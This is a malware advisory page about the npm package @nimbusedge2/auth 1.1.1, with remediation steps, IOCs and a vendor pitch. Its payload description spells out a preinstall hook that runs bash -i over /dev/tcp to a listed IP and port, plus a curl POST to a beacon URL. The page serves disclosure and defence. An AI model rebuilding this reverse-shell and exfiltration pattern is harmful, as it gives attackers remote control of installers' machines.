Which versions of @nimbusedge2/auth are malicious?

The following npm versions of @nimbusedge2/auth are flagged malicious: 1.1.1. Treat any of these as compromised.

How do I remediate @nimbusedge2/auth if I installed it?

@nimbusedge2/auth establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

I already installed @nimbusedge2/auth — how do I know if it already compromised me?

If @nimbusedge2/auth was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is @nimbusedge2/auth part of a known attack campaign?

Yes — @nimbusedge2/auth is associated with the IN-MAL-2026-020201 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find @nimbusedge2/auth across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for @nimbusedge2/auth (version 1.1.1).

Malicious package

@nimbusedge2/authnpm

Advisory published Sep 21, 2026Updated Sep 21, 2026

@nimbusedge2/auth is a confirmed malicious npm package (MAL-2026-16302) that opens a backdoor for remote access (malicious version 1.1.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in @nimbusedge2/auth (npm)

MAL-2026-16302

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall @nimbusedge2/auth

What this malware does

@nimbusedge2/auth 1.1.1 ships a 333-byte package whose package.json preinstall lifecycle hook runs bash -i with stdio redirected to /dev/tcp/147.93.157.202/8080, opening an interactive reverse shell to that host as the installing user. The same script pipes the shell session through curl -s -m 5 -X POST --data-binary @- to http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php, providing a secondary HTTP beacon/exfil channel for environments where outbound raw TCP is blocked but HTTP egress is permitted. The package contains no other code, no library functionality, and no legitimate build purpose; installing it grants arbitrary remote command execution on the installer's machine at npm install time.

Malicious versions

1 flagged

1.1.1

Indicators of compromise (SHA-256)

00e0720671ede37963c7328b0434ac8e2fe6c52dd252678f81da390e9554c0ba

Detection & response playbook

Backdoor / remote access

Find it
Search your lockfiles and build artifacts for @nimbusedge2/auth (version 1.1.1).
If you installed it — respond
@nimbusedge2/auth establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If @nimbusedge2/auth was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. @nimbusedge2/auth on npm has been identified as a malicious package (version 1.1.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-020201

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks @nimbusedge2/auth-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database